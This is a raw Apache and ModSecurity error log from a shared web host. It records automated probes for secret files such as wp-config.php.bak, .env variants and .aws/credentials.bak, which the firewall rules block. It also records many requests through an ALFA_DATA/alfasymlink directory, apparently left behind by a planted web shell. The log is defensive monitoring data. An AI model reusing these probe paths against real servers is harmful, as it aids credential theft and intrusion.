[Tue Oct 27 11:27:21.595582 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.38.113.44:53882] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auDC2VoIklFaGsOHQ-PJGAAAAAw"]
[Tue Oct 27 11:27:21.595667 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auDC2ak5WBwWuEHXa74CuQAAAAc"]
[Tue Oct 27 11:27:21.595770 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.38.113.44:53882] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auDC2VoIklFaGsOHQ-PJGAAAAAw"]
[Tue Oct 27 11:27:21.596028 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.38.113.44:53882] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auDC2VoIklFaGsOHQ-PJGAAAAAw"]
[Tue Oct 27 11:27:23.552322 2026] [core:error] [pid 3257237:tid 3257237] (13)Permission denied: [client 85.208.96.196:32882] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/reclaim_account
[Tue Oct 27 11:27:31.815524 2026] [ssl:error] [pid 3257245:tid 3257245] (70014)End of file found: [client 44.215.61.66:56195] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:27:34.448445 2026] [core:error] [pid 3245436:tid 3245436] (13)Permission denied: [client 85.208.96.194:12888] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/slabs
[Tue Oct 27 11:27:35.968474 2026] [ssl:error] [pid 3249204:tid 3249204] (70014)End of file found: [client 54.167.32.123:38623] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:27:38.407383 2026] [security2:error] [pid 3240715:tid 3240715] [client 107.172.76.131:60388] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDC3d6XOKPJcVnECbx2lQAAABY"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 11:27:38.407444 2026] [security2:error] [pid 3240715:tid 3240715] [client 107.172.76.131:60388] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDC3d6XOKPJcVnECbx2lQAAABY"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 11:27:39.892607 2026] [ssl:error] [pid 3254483:tid 3254483] (70014)End of file found: [client 3.212.205.90:37290] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:27:43.688919 2026] [ssl:error] [pid 3257234:tid 3257234] (70014)End of file found: [client 44.207.252.58:16467] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:27:47.799066 2026] [ssl:error] [pid 3257245:tid 3257245] (70014)End of file found: [client 44.195.50.71:43565] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:27:51.821127 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 23.21.119.232:33037] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:28:08.084750 2026] [ssl:error] [pid 3253972:tid 3253972] (70014)End of file found: [client 54.85.7.119:42843] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:28:14.857916 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 185.191.171.10:41928] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:28:21.065043 2026] [ssl:error] [pid 3249204:tid 3249204] (70014)End of file found: [client 185.191.171.16:44672] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:28:33.114475 2026] [core:error] [pid 3257860:tid 3257860] (13)Permission denied: [client 85.208.96.204:36412] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/platform/drivers/ucsi_acpi/bind
[Tue Oct 27 11:28:35.706821 2026] [core:error] [pid 3257857:tid 3257857] (13)Permission denied: [client 100.28.57.133:9581] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory12/node0/memory6/subsystem/drivers_probe
[Tue Oct 27 11:28:41.404991 2026] [security2:error] [pid 3256853:tid 3256853] [client 107.172.76.131:60462] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDDHVTmXkizvR8k42UIlwAAABU"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 11:28:41.405070 2026] [security2:error] [pid 3256853:tid 3256853] [client 107.172.76.131:60462] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDDHVTmXkizvR8k42UIlwAAABU"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 11:28:43.829156 2026] [ssl:error] [pid 3257907:tid 3257907] (70014)End of file found: [client 100.27.153.9:30790] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:28:55.689614 2026] [ssl:error] [pid 3257856:tid 3257856] (70014)End of file found: [client 52.203.152.231:23636] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:28:56.947097 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 185.191.171.11:28458] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:29:10.784631 2026] [security2:error] [pid 3238477:tid 3238477] [client 107.172.76.131:60400] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDDOxKut9jdf6Y85ZJdtgAAABE"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Tue Oct 27 11:29:10.784694 2026] [security2:error] [pid 3238477:tid 3238477] [client 107.172.76.131:60400] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDDOxKut9jdf6Y85ZJdtgAAABE"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Tue Oct 27 11:29:11.373561 2026] [ssl:error] [pid 3257235:tid 3257235] (5)Input/output error: [client 85.208.96.210:65530] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:29:11.509879 2026] [ssl:error] [pid 3253913:tid 3253913] (5)Input/output error: [client 85.208.96.210:10248] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:29:27.956948 2026] [core:error] [pid 3254132:tid 3254132] (13)Permission denied: [client 44.195.50.71:35491] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/firmware_node/physical_node/node0/compact
[Tue Oct 27 11:29:31.788734 2026] [core:error] [pid 3253913:tid 3253913] (13)Permission denied: [client 52.22.87.224:6755] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:03.0/rescan
[Tue Oct 27 11:29:51.757147 2026] [ssl:error] [pid 3254132:tid 3254132] (70014)End of file found: [client 35.169.240.53:41528] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:29:55.782481 2026] [ssl:error] [pid 3253913:tid 3253913] (70014)End of file found: [client 44.207.69.106:27350] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:29:59.941435 2026] [ssl:error] [pid 3257829:tid 3257829] (70014)End of file found: [client 184.73.68.20:58160] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:30:13.060702 2026] [ssl:error] [pid 3257831:tid 3257831] (70014)End of file found: [client 52.21.62.139:4282] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:30:24.138128 2026] [ssl:error] [pid 3249204:tid 3249204] (70014)End of file found: [client 3.216.227.216:57682] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:30:27.807748 2026] [ssl:error] [pid 3252021:tid 3252021] (70014)End of file found: [client 23.21.204.95:14391] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:30:40.067638 2026] [core:error] [pid 3257836:tid 3257836] (13)Permission denied: [client 3.217.82.254:30071] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input3/subsystem/input4/event2/subsystem/input1/device/firmware_node/physical_node1/driver/unbind
[Tue Oct 27 11:30:47.820476 2026] [ssl:error] [pid 3257831:tid 3257831] (70014)End of file found: [client 34.234.197.175:27986] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:30:56.024989 2026] [core:error] [pid 3254499:tid 3254499] (13)Permission denied: [client 3.216.86.144:17884] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/PNP0F13:00/physical_node/driver/00:02/subsystem/drivers_probe
[Tue Oct 27 11:31:11.754746 2026] [ssl:error] [pid 3252638:tid 3252638] (70014)End of file found: [client 18.214.124.6:22410] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:31:19.804288 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 23.21.179.120:28753] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:31:23.936842 2026] [core:error] [pid 3254499:tid 3254499] (13)Permission denied: [client 23.21.148.226:24933] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/virtio0/driver/bind
[Tue Oct 27 11:31:27.943949 2026] [ssl:error] [pid 3256853:tid 3256853] (70014)End of file found: [client 3.93.98.99:55893] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:31:31.822937 2026] [ssl:error] [pid 3258200:tid 3258200] (70014)End of file found: [client 54.83.56.1:18024] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:31:39.781673 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 34.238.45.183:26402] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:31:40.753875 2026] [core:error] [pid 3254499:tid 3254499] (13)Permission denied: [client 185.191.171.17:54420] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/userbwlimits
[Tue Oct 27 11:31:55.901847 2026] [core:error] [pid 3252638:tid 3252638] (13)Permission denied: [client 100.27.153.9:50323] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/virtio-pci/0000:00:05.0/resource0
[Tue Oct 27 11:31:59.788361 2026] [ssl:error] [pid 3257860:tid 3257860] (70014)End of file found: [client 34.235.239.240:35105] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:32:03.906174 2026] [ssl:error] [pid 3257829:tid 3257829] (70014)End of file found: [client 44.216.172.204:51079] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:32:11.663899 2026] [ssl:error] [pid 3245437:tid 3245437] (70014)End of file found: [client 54.225.199.17:27097] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:32:16.083786 2026] [ssl:error] [pid 3257860:tid 3257860] (70014)End of file found: [client 98.83.226.125:40262] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:32:23.750621 2026] [core:error] [pid 3238477:tid 3238477] (13)Permission denied: [client 52.6.5.24:41486] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory14/node0/memory2/subsystem/drivers_probe
[Tue Oct 27 11:32:26.213551 2026] [core:crit] [pid 3245437:tid 3245437] (13)Permission denied: [client 43.164.3.182:37068] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 11:32:31.710205 2026] [ssl:error] [pid 3257226:tid 3257226] (70014)End of file found: [client 52.200.54.136:48090] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:32:39.897246 2026] [ssl:error] [pid 3245437:tid 3245437] (70014)End of file found: [client 18.206.47.187:3626] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:32:47.689759 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 18.235.81.246:31781] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:32:51.757877 2026] [ssl:error] [pid 3257226:tid 3257226] (70014)End of file found: [client 23.23.212.212:40806] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:32:55.682012 2026] [core:error] [pid 3257227:tid 3257227] (13)Permission denied: [client 52.44.229.124:63265] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0400:00/subsystem/drivers_probe
[Tue Oct 27 11:33:07.558158 2026] [core:error] [pid 3254499:tid 3254499] (13)Permission denied: [client 85.208.96.198:61932] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/pci/drivers/ohci-pci/remove_id
[Tue Oct 27 11:33:11.721871 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 34.225.87.80:1734] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:33:15.834339 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 3.222.85.38:23240] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:33:19.796425 2026] [ssl:error] [pid 3257226:tid 3257226] (70014)End of file found: [client 52.54.15.103:44666] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:33:23.785377 2026] [ssl:error] [pid 3256853:tid 3256853] (70014)End of file found: [client 3.208.146.193:42028] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:33:28.185679 2026] [ssl:error] [pid 3252638:tid 3252638] (70014)End of file found: [client 23.21.119.232:41607] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:33:40.192707 2026] [ssl:error] [pid 3254499:tid 3254499] (70014)End of file found: [client 35.169.119.108:57441] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:33:51.981538 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 44.220.2.97:34553] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:34:02.491636 2026] [security2:error] [pid 3245436:tid 3245436] [client 34.53.184.30:59700] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auDEakT-nkC2k8zcLn8WBgAAAAE"]
[Tue Oct 27 11:34:02.491681 2026] [security2:error] [pid 3256853:tid 3256853] [client 34.53.184.30:59676] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.anthropic"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auDEalTmXkizvR8k42UIqgAAABU"]
[Tue Oct 27 11:34:02.491862 2026] [security2:error] [pid 3245436:tid 3245436] [client 34.53.184.30:59700] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auDEakT-nkC2k8zcLn8WBgAAAAE"]
[Tue Oct 27 11:34:02.491880 2026] [security2:error] [pid 3256853:tid 3256853] [client 34.53.184.30:59676] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auDEalTmXkizvR8k42UIqgAAABU"]
[Tue Oct 27 11:34:02.492135 2026] [security2:error] [pid 3245436:tid 3245436] [client 34.53.184.30:59700] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auDEakT-nkC2k8zcLn8WBgAAAAE"]
[Tue Oct 27 11:34:02.492193 2026] [security2:error] [pid 3256853:tid 3256853] [client 34.53.184.30:59676] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auDEalTmXkizvR8k42UIqgAAABU"]
[Tue Oct 27 11:34:02.493175 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auDEatmgjCRRylsqPBT1_AAAACo"]
[Tue Oct 27 11:34:02.493446 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auDEatmgjCRRylsqPBT1_AAAACo"]
[Tue Oct 27 11:34:02.493664 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auDEatmgjCRRylsqPBT1_AAAACo"]
[Tue Oct 27 11:34:02.494545 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auDEagY08XOpcUzVxFxUrgAAABM"]
[Tue Oct 27 11:34:02.494783 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auDEagY08XOpcUzVxFxUrgAAABM"]
[Tue Oct 27 11:34:02.494990 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auDEagY08XOpcUzVxFxUrgAAABM"]
[Tue Oct 27 11:34:02.500696 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auDEag23RZndSc31yX5txgAAABQ"]
[Tue Oct 27 11:34:02.500855 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auDEag23RZndSc31yX5txgAAABQ"]
[Tue Oct 27 11:34:02.501086 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auDEag23RZndSc31yX5txgAAABQ"]
